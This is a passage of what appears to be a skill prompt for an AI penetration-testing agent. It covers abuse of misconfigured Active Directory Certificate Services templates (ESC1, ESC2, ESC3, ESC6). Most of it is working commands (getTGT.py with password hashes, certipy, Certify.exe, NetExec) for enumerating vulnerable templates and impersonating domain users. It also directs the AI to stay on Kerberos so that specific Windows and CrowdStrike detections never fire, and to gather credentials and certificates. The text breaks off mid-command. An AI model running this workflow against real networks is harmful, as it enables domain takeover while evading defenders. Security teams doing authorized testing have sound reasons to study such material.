/adcs-template-abuse

name: adcs-template-abuse
description: >
  Exploits misconfigured AD CS certificate templates to impersonate any domain
  user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee
  supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6
  (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
keywords:
  - ESC1
  - ESC2
  - ESC3
  - ESC6
  - certificate template
  - ADCS escalation
  - SAN abuse
  - enrollment agent
  - certipy req
  - Certify request
  - ENROLLEE_SUPPLIES_SUBJECT
  - any purpose EKU
  - certificate impersonation
tools:
  - Certipy
  - Certify.exe
  - Rubeus
  - certutil
opsec: medium

ADCS Template Abuse (ESC1 / ESC2 / ESC3 / ESC6)

You are helping a penetration tester exploit misconfigured AD CS certificate templates to impersonate arbitrary domain principals. All testing is under explicit written authorization.

**Kerberos-first authentication**: Enumeration and certificate requests use Kerberos auth when possible. Post-exploitation authenticates via PKINIT (pure Kerberos) to avoid NTLM detection (Event 4776, CrowdStrike Identity Module).

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[adcs-template-abuse] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Domain user credentials (any privilege level — enrollment rights are key)
• Network access to a domain controller and CA server
• Tools: `certipy` (Python), optionally `Certify.exe` (C#), `Rubeus` (C#)

**Kerberos-first workflow**:

# Get TGT for Kerberos-based operations
cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP
# or with password
cd $TMPDIR && getTGT.py DOMAIN/user:'Password' -dc-ip DC_IP

export KRB5CCNAME=$TMPDIR/user.ccache

# All Certipy commands use -k -no-pass after this
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs

**Tool output directory**: `certipy find` supports `-output` to control where results are written — always use `-output engagement/evidence/certipy-<label>`. Without it, certipy writes `{timestamp}_Certipy.{json,txt}` to CWD.

`getTGT.py`, `certipy req`, and `certipy auth` all write output files to CWD with no output-path flag. Always prefix these commands with `cd $TMPDIR &&`. `getTGT.py` does NOT support `-out` — CWD is the only control. When saving evidence, use `mv` (not `cp`) to avoid stray duplicates:

mv $TMPDIR/administrator.pfx engagement/evidence/administrator.pfx
mv $TMPDIR/administrator.ccache engagement/evidence/administrator.ccache

Clock Skew Interrupt

**Before any Kerberos operation**, check for clock skew. If you encounter `KRB_AP_ERR_SKEW` at any point during this skill — **STOP IMMEDIATELY**.

Do NOT fall back to NTLM authentication. Kerberos-first is an OPSEC requirement, not a preference. NTLM fallback generates Event 4776 and CrowdStrike Identity Module PTH signatures — the exact detections Kerberos-first exists to avoid.

**When clock skew is detected:**

1. Note the skew magnitude (from the error or `ntpdate -q DC_IP`) 2. **STOP. Return to the orchestrator** with this structured interrupt:

### Clock Skew Interrupt
- Error: KRB_AP_ERR_SKEW
- Skew: <magnitude in seconds/minutes>
- DC IP: <IP>
- Stage: <what step you were on when it hit>
- Attempted: <commands that failed>

The orchestrator will handle clock sync (requires sudo) and re-invoke this skill with identical parameters. Do not retry, do not work around it with NTLM, do not write your own sync script.

Step 1: Enumerate Vulnerable Templates

Run ADCS enumeration to identify vulnerable templates. If the orchestrator or `ad-discovery` already provided results, skip to the relevant ESC.

Certipy (Linux — preferred)

# Full enumeration with vulnerability detection
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs

# JSON output for structured analysis
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -json -output engagement/evidence/certipy-adcs

# With password (if no TGT available)
certipy find -username user@DOMAIN -password 'Pass' -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs

Certify.exe (Windows)

# Find all vulnerable templates
Certify.exe find /vulnerable

# Filter by enrollee-supplies-subject (ESC1)
Certify.exe find /enrolleeSuppliesSubject

# Filter by client-auth EKU
Certify.exe find /clientauth

# Show all permissions on all templates
Certify.exe find /showAllPermissions

NetExec (quick check)

nxc ldap DC_IP -k --use-kcache -M adcs

What to look for

| ESC | Key Indicator | |-----|--------------| | ESC1 | `ENROLLEE_SUPPLIES_SUBJECT` flag + client-auth EKU + low-priv enrollment | | ESC2 | `Any Purpose` EKU (2.5.29.37.0) or **no EKU** + low-priv enrollment | | ESC3 | Template with `Certificate Request Agent` EKU (1.3.6.1.4.1.311.20.2.1) + second template allowing on-behalf-of | | ESC6 | CA has `EDITF_ATTRIBUTESUBJECTALTNAME2` flag enabled |

**Check ESC6 flag specifically**:

# On CA server (requires remote access)
certutil -config "CA_HOST\CA_